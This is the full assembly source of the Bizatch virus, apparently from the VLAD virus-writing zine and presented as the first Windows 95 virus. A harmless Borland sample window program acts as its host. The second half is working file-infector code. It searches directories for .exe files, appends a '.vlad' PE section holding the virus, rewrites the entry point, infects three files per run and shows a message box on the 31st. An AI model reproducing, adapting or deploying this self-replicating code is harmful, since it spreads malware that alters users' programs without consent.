;
; Bizatch by Quantum / VLAD
;
; Welcome to the world's first Windows 95 virus.
;
; It is a great honour for me to have written this virus as this
; is ground breaking stuff. Windows 95 is a platform that was
; designed to be uninfectable, but Microsoft did not reckon with
; the awesome power of vlad. As such, this virus will be used as
; a minor information service for vlad. On the 31st of every month
; every infected exe will display a message box listing the members
; of the vlad possie from the old skool to the new.
;
; The following is a host program kindly contributed by Borland International.
; This example will put up a window and beep when the right mouse button
; is pressed. When the left mouse button is pressed, it will increment
; the displayed 32-bit counter.
;
; Everything needed to assemble this code has been put in the file
; BIZATCH.ZIP
;
; A tutorial on Win95 virii is likely to be included in this issue of vlad.
;
;-----------------------------------------------------------------------------
; You might wanna skip over this and head straight for the virus code
; which is at line 350
;
.386
locals
jumps
.model flat,STDCALL
include win32.inc ; some 32-bit constants and structures
L equ
;
; Define the external functions we will be linking to
;
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;
; for Unicode support, Win32 remaps some functions to either the Ansi or
; Wide char versions. We will assume Ansi for this example.
;
CreateWindowEx equ
DefWindowProc equ
DispatchMessage equ
FindWindow equ
GetMessage equ
GetModuleHandle equ
LoadCursor equ
LoadIcon equ
MessageBox equ
RegisterClass equ
TextOut equ
.data
copyright db 'VLAD inc - 1995, peace through superior virus power..',0
newhwnd dd 0
lppaint PAINTSTRUCT >
msg MSGSTRUCT >
wc WNDCLASS >
mbx_count dd 0
hInst dd 0
szTitleName db 'Bizatch by Quantum / VLAD activated'
zero db 0
szAlternate db 'more than once',0
szClassName db 'ASMCLASS32',0
szPaint db 'Left Button pressed:'
s_num db '00000000h times.',0
MSG_L EQU ($-offset szPaint)-1
.code
;-----------------------------------------------------------------------------
;
; This is where control is usually received from the loader.
;
start:
push L 0
call GetModuleHandle ; get hmod (in eax)
mov [hInst], eax ; hInstance is same as HMODULE
; in the Win32 world
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
mov [zero], ' ' ; space to modify title string
reg_class:
;
; initialize the WndClass structure
;
mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
mov [wc.clsLpfnWndProc], offset WndProc
mov [wc.clsCbClsExtra], 0
mov [wc.clsCbWndExtra], 0
mov eax, [hInst]
mov [wc.clsHInstance], eax
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
mov [wc.clsHbrBackground], COLOR_WINDOW + 1
mov dword ptr [wc.clsLpszMenuName], 0
mov dword ptr [wc.clsLpszClassName], offset szClassName
push offset wc
call RegisterClass
push L 0 ; lpParam
push [hInst] ; hInstance
push L 0 ; menu
push L 0 ; parent hwnd
push L CW_USEDEFAULT ; height
push L CW_USEDEFAULT ; width
push L CW_USEDEFAULT ; y
push L CW_USEDEFAULT ; x
push L WS_OVERLAPPEDWINDOW ; Style
push offset szTitleName ; Title string
push offset szClassName ; Class name
push L 0 ; extra style
call CreateWindowEx
mov [newhwnd], eax
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
push [newhwnd]
call UpdateWindow
msg_loop:
push L 0
push L 0
push L 0
push offset msg
call GetMessage
cmp ax, 0
je end_loop
push offset msg
call TranslateMessage
push offset msg
call DispatchMessage
jmp msg_loop
end_loop:
push [msg.msWPARAM]
call ExitProcess
; we never get to here
;-----------------------------------------------------------------------------
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
;
; WARNING: Win32 requires that EBX, EDI, and ESI be preserved! We comply
; with this by listing those regs after the 'uses' statement in the 'proc'
; line. This allows the Assembler to save them for us.
;
LOCAL theDC:DWORD
cmp [wmsg], WM_DESTROY
je wmdestroy
cmp [wmsg], WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg], WM_SIZE
je wmsize
cmp [wmsg], WM_CREATE
je wmcreate
cmp [wmsg], WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg], WM_PAINT
je wmpaint
cmp [wmsg], WM_GETMINMAXINFO
je wmgetminmaxinfo
jmp defwndproc
wmpaint:
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
mov eax, [mbx_count]
mov edi, offset s_num
call HexWrite32
push L MSG_L ; length of string
push offset szPaint ; string
push L 5 ; y
push L 5 ; x
push [theDC] ; the DC
call TextOut
push offset lppaint
push [hwnd]
call EndPaint
mov eax, 0
jmp finish
wmcreate:
mov eax, 0
jmp finish
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
jmp finish
wmdestroy:
push L 0
call PostQuitMessage
mov eax, 0
jmp finish
wmlbuttondown:
inc [mbx_count]
push L 0
push L 0
push [hwnd]
call InvalidateRect ; repaint window
mov eax, 0
jmp finish
wmrbuttondown:
push L 0
call MessageBeep
jmp finish
wmsize:
mov eax, 0
jmp finish
wmgetminmaxinfo:
mov ebx, [lparam] ; ptr to minmaxinfo struct
mov [(MINMAXINFO ptr ebx).mintrackposition_x] , 350
mov [(MINMAXINFO ptr ebx).mintrackposition_y] , 60
mov eax, 0
jmp finish
finish:
ret
WndProc endp
;-----------------------------------------------------------------------------
HexWrite8 proc
;
; AL has two hex digits that will be written to ES:EDI in ASCII form
;
mov ah, al
and al, 0fh
shr ah, 4
; ah has MSD
; al has LSD
or ax, 3030h
xchg al, ah
cmp ah, 39h
ja @@4
@@1:
cmp al, 39h
ja @@3
@@2:
stosw
ret
@@3:
sub al, 30h
add al, 'A' - 10
jmp @@2
@@4:
sub ah, 30h
add ah, 'A' - 10
jmp @@1
HexWrite8 endp
;-----------------------------------------------------------------------------
HexWrite16 proc
;
; AX has four hex digits in it that will be written to ES:EDI
;
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
;-----------------------------------------------------------------------------
HexWrite32 proc
;
; EAX has eight hex digits in it that will be written to ES:EDI
;
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
;-----------------------------------------------------------------------------
public WndProc
ends
;-----------------------------------------------------------------------------
; Here is where the virus code begins.. this code is moved from exe to
; exe.. the above is just a simple custom host.
vladseg segment para public 'vlad'
assume cs:vladseg
vstart:
call recalc
recalc:
pop ebp
mov eax,ebp ; calculate the address to the host
db 2dh
subme dd 30000h + (recalc - vstart)
push eax ; save it for l8r
sub ebp,offset recalc ; calculate the delta offset
mov eax,[ebp + offset kern2] ; determine where the kernel is at
cmp dword ptr [eax],5350fc9ch
jnz notkern2
mov eax,[ebp + offset kern2] ; here
jmp movit
notkern2:
mov eax,[ebp + offset kern1] ; or here
cmp dword ptr [eax],5350fc9ch
jnz nopayload
mov eax,[ebp + offset kern1]
movit:
mov [ebp + offset kern],eax ; save it for l8r use
cld ; important
lea eax,[ebp + offset orgdir]
push eax
push 255
call GetCurDir ; save the current directory
mov byte ptr [ebp + offset countinfect],0 ; count the number we are infecting
infectdir:
lea eax,[ebp + offset win32_data_thang]
push eax
lea eax,[ebp + offset fname]
push eax
call FindFile ; search for first exe
mov dword ptr [ebp + offset searchhandle],eax ; save the search handle
cmp eax,-1
jz foundnothing
gofile:
push 0
push dword ptr [ebp + offset fileattr] ; FILE_ATTRIBUTE_NORMAL
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
lea eax,[ebp + offset fullname]
push eax
call CreateFile ; open file in read/write mode
mov dword ptr [ebp + offset ahand],eax ; save the handle
cmp eax,-1
jz findnextone
; goto the dword that stores the location of the pe header
push 0
push 0
push 3ch
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in the location of the pe header
push 0
lea eax,[ebp + offset bytesread]
push eax
push 4
lea eax,[ebp + offset peheaderoffset]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; goto the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in enuff to calculate the full size of the pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push 58h
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; make sure it is a pe header and is not already infected
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
jz notape
cmp dword ptr [ebp + offset 52],4000000h
jz notape
; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in the whole pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; set the infection flag
mov word ptr [ebp + offset peheader + 4ch],0F00Dh
; locate offset of object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax
; calculate the offset of the last (null) object in the object table
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
inc word ptr [ebp + offset numObj] ; inc the number of objects
lea edi,[ebp + offset newobject]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset RVA],eax
; calculate the physical size of the new object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,vend-vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax
; calculate the virtual size of the new object
mov ecx,dword ptr [ebp + offset objalign]
mov eax,vend - vstart + 1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp + offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicaloffset],eax
; update the image size (the size in memory) of the file
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax
; copy the new object into the object table
mov ecx,10
rep movsd
; calculate the entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]
mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax
sub eax,ebx
add eax,5
; Set the value needed to return to the host
mov dword ptr [ebp + offset subme],eax
; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; write the pe header and object table to the file
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
; increase the number of files infected
inc byte ptr [ebp + offset countinfect]
; move to the physical offset of the new object
push 0
push 0
push dword ptr [ebp + offset physicaloffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; write the virus code to the new object
push 0
lea eax,[ebp + offset bytesread]
push eax
push vend-vstart
lea eax,[ebp + offset vstart]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
notape:
; close the file
push dword ptr [ebp + offset ahand]
call CloseFile
findnextone:
; have we infected 3 ?
cmp byte ptr [ebp + offset countinfect],3
jz outty
; no.. find the next file
lea eax,[ebp + offset win32_data_thang]
push eax
push dword ptr [ebp + offset searchhandle]
call FindNext
; is there a next ? yes.. infect it
or eax,eax
jnz gofile
foundnothing:
; no .. change dirs
xor eax,eax
lea edi,[ebp + offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp + offset tempdir1]
mov ecx,256/4
rep stosd
; get the current dir
lea esi,[ebp + offset tempdir]
push esi
push 255
call GetCurDir
; change into ".."
lea eax,[ebp + offset dotdot]
push eax
call SetCurDir
; get the current dir
lea edi,[ebp + offset tempdir1]
push edi
push 255
call GetCurDir
; if the dirs are the same then the ".." failed
mov ecx,256/4
rep cmpsd
jnz infectdir
outty:
; set the current dir back to the original
lea eax,[ebp + offset orgdir]
push eax
call SetCurDir
; get the current date and time and lots of other shit that no-one ever uses
lea eax,[ebp + offset systimestruct]
push eax
call GetTime
; if it's the 31st then do the payload
cmp word ptr [ebp + offset day],31
jnz nopayload
; display a message box to the user
push 1000h ; MB_SYSTEMMODAL
lea eax,[ebp + offset boxtitle]
push eax
lea eax,[ebp + offset boxmsg]
push eax
push 0
call MsgBox
nopayload:
; jump back to the host
pop eax
jmp eax
kern dd 0BFF93B95h ; the value of the kernel will be shoved in here
kern1 dd 0BFF93B95h ; the first possible value of the kernel
kern2 dd 0BFF93C1Dh ; the second possible value of the kernel
GetCurDir:
push 0BFF77744h ; push this value to get current dir
jmp [ebp + offset kern]
SetCurDir:
push 0BFF7771Dh ; push this value to set current dir
jmp [ebp + offset kern]
GetTime:
cmp [ebp + offset kern],0BFF93B95h
jnz gettimekern2
push 0BFF9D0B6h ; push this value if we're using kernel1 to get time/date
jmp [ebp + offset kern]
gettimekern2:
push 0BFF9D14eh ; push this value if we're using kernel2 to get time/date
jmp [ebp + offset kern]
MsgBox:
push 0BFF638D9h ; push this value to display a message box
jmp [ebp + offset kern]
FindFile:
push 0BFF77893h ; push this value to find a file
jmp [ebp + offset kern]
FindNext:
push 0BFF778CBh ; push this value to find the next file
jmp [ebp + offset kern]
CreateFile:
push 0BFF77817h ; push this value to create/open a file (create handle)
jmp [ebp + offset kern]
SetFilePointer:
push 0BFF76FA0h ; push this value to set the file pointer of a file
jmp [ebp + offset kern]
ReadFile:
push 0BFF75806h ; push this value to read a file
jmp [ebp + offset kern]
WriteFile:
push 0BFF7580Dh ; push this value to write to a file
jmp [ebp + offset kern]
CloseFile:
push 0BFF7BC72h ; push this value to close a file
jmp [ebp + offset kern]
countinfect db 0 ; counts the infections
win32_data_thang: ; used to search for files
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
boxtitle db "Bizatch by Quantum / VLAD",0
boxmsg db "The taste of fame just got tastier!",0dh
db "VLAD Australia does it again with the world's first Win95 Virus"
db 0dh,0dh
db 9,"From the old school to the new.. ",0dh,0dh
db 9,"Metabolis",0dh
db 9,"Qark",0dh
db 9,"Darkman",0dh
db 9,"Quantum",0dh
db 9,"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db " written by Quantum of VLAD",0
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
dotdot db "..",0
systimestruct: ; used to get the time/date
dw 0,0,0
day dw 0
dw 0,0,0,0
searchhandle dd 0 ; used in searches for files
fname db '*.exe',0 ; spec to search for
ahand dd 0 ; handle of the file we open
peheaderoffset dd 0 ; stores the offset of the peheader in the file
ObjectTableoffset dd 0 ; stores the offset of the object table in memory
bytesread dd 0 ; number of bytes we just read/wrote from/to the file
newobject: ; the new object
oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
peheader: ; essential data for infecting the pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
vend:
; space to read in the rest of the pe header and object table
; not actually written to the file but allocated by the object in post beta gen
db 1000h dup (0)
ends
end vstart
- VLAD #6 INDEX -